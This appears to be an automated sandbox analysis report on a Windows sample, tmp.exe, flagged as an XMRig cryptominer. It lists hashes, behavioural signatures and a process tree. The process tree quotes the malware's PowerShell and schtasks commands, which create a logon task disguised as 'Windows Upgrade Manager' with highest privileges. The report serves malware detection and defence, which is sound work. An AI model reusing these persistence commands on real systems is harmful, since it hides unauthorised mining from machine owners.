Analysis
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max time kernel
150s -
max time network
154s -
platform
windows7_x64 -
resource
win7-20230220-en -
resource tags
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submitted
23/04/2023, 01:15
General
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Target
tmp.exe
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Size
5.4MB
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MD5
41ab08c1955fce44bfd0c76a64d1945a
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SHA1
2b9cb05f4de5d98c541d15175d7f0199cbdd0eea
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SHA256
dd12cb27b3867341bf6ca48715756500d3ec56c19b21bb1c1290806aa74cb493
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SHA512
38834ae703a8541b4fec9a1db94cfe296ead58649bb1d4873b517df14d0c6a9d25e49ff04c2bf6bb0188845116a4e894aae930d849f9be8c98d2ce51da1ef116
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SSDEEP
98304:vavlQIN33nVKboT7MAwtCUxDwoQtKjnX6Og6X2XcNlfYWzdgIT3:vIlQIN33nVKboT7MAwtCYzQQjn46yQls
Malware Config
Signatures
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Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs
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xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
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XMRig Miner payload 14 IoCs
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Executes dropped EXE 1 IoCs
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Loads dropped DLL 1 IoCs
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Drops file in System32 directory 2 IoCs
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Suspicious use of SetThreadContext 1 IoCs
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Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
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Suspicious behavior: EnumeratesProcesses 10 IoCs
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Suspicious behavior: LoadsDriver 1 IoCs
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Suspicious use of AdjustPrivilegeToken 4 IoCs
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Suspicious use of FindShellTrayWindow 64 IoCs
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Suspicious use of SendNotifyMessage 64 IoCs
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Suspicious use of WriteProcessMemory 10 IoCs
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Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
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C:\Users\Admin\AppData\Local\Temp\tmp.exe"C:\Users\Admin\AppData\Local\Temp\tmp.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#llzqlmcx#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Windows Upgrade Manager' /tr '''C:\Users\Admin\Windows Upgrade\wupgrdsv.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Windows Upgrade\wupgrdsv.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Windows Upgrade Manager' -RunLevel 'Highest' -Force; }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /tn "Windows Upgrade Manager" /tr "'C:\Users\Admin\Windows Upgrade\wupgrdsv.exe'"3⤵
- Creates scheduled task(s)
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C:\Windows\System32\schtasks.exeC:\Windows\System32\schtasks.exe /run /tn "Windows Upgrade Manager"2⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#llzqlmcx#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Windows Upgrade Manager' /tr '''C:\Users\Admin\Windows Upgrade\wupgrdsv.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Windows Upgrade\wupgrdsv.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Windows Upgrade Manager' -RunLevel 'Highest' -Force; }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /tn "Windows Upgrade Manager" /tr "'C:\Users\Admin\Windows Upgrade\wupgrdsv.exe'"3⤵
- Creates scheduled task(s)
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C:\Windows\System32\notepad.exeC:\Windows\System32\notepad.exe2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
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C:\Windows\system32\taskeng.exetaskeng.exe {852862B7-B5FC-40CF-ACED-F96DD3325868} S-1-5-21-1283023626-844874658-3193756055-1000:THEQWNRW\Admin:Interactive:[1]1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\Windows Upgrade\wupgrdsv.exe"C:\Users\Admin\Windows Upgrade\wupgrdsv.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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Filesize
7KB
MD56355a8b5f8282c3fbdfd30ea7cd2233e
SHA1781cac9baeabf55ff842fd18139d811ab18ed94d
SHA2566858bbc6bdd647b16d1e5b6689974addfd3268d6ddce15d59a832004d2fc3aa6
SHA512fc54aca584935cff81fc7dd5e1626128eb53ff57bda192f0359959d15a1bcd7aea3d019e290a4a61c64bf6352c8bdc9dfb3b9d91157c89273c266f71761b1b15
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Filesize
7KB
MD56355a8b5f8282c3fbdfd30ea7cd2233e
SHA1781cac9baeabf55ff842fd18139d811ab18ed94d
SHA2566858bbc6bdd647b16d1e5b6689974addfd3268d6ddce15d59a832004d2fc3aa6
SHA512fc54aca584935cff81fc7dd5e1626128eb53ff57bda192f0359959d15a1bcd7aea3d019e290a4a61c64bf6352c8bdc9dfb3b9d91157c89273c266f71761b1b15
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Filesize
5.4MB
MD541ab08c1955fce44bfd0c76a64d1945a
SHA12b9cb05f4de5d98c541d15175d7f0199cbdd0eea
SHA256dd12cb27b3867341bf6ca48715756500d3ec56c19b21bb1c1290806aa74cb493
SHA51238834ae703a8541b4fec9a1db94cfe296ead58649bb1d4873b517df14d0c6a9d25e49ff04c2bf6bb0188845116a4e894aae930d849f9be8c98d2ce51da1ef116
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Filesize
5.4MB
MD541ab08c1955fce44bfd0c76a64d1945a
SHA12b9cb05f4de5d98c541d15175d7f0199cbdd0eea
SHA256dd12cb27b3867341bf6ca48715756500d3ec56c19b21bb1c1290806aa74cb493
SHA51238834ae703a8541b4fec9a1db94cfe296ead58649bb1d4873b517df14d0c6a9d25e49ff04c2bf6bb0188845116a4e894aae930d849f9be8c98d2ce51da1ef116
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Filesize
2.9MB
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Filesize
220KB
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Filesize
512KB
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Filesize
512KB
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Filesize
512KB
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Filesize
32KB
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Filesize
7.9MB
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Filesize
7.9MB
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Filesize
7.9MB
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Filesize
7.9MB
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Filesize
7.9MB
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Filesize
7.9MB
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Filesize
7.9MB
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Filesize
128KB
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Filesize
128KB
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Filesize
7.9MB
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Filesize
7.9MB
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Filesize
128KB
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Filesize
7.9MB
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Filesize
7.9MB
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Filesize
7.9MB
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Filesize
7.9MB
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Filesize
2.9MB
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Filesize
32KB
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Filesize
512KB
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Filesize
512KB
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Filesize
512KB
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Filesize
5.5MB
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Filesize
5.5MB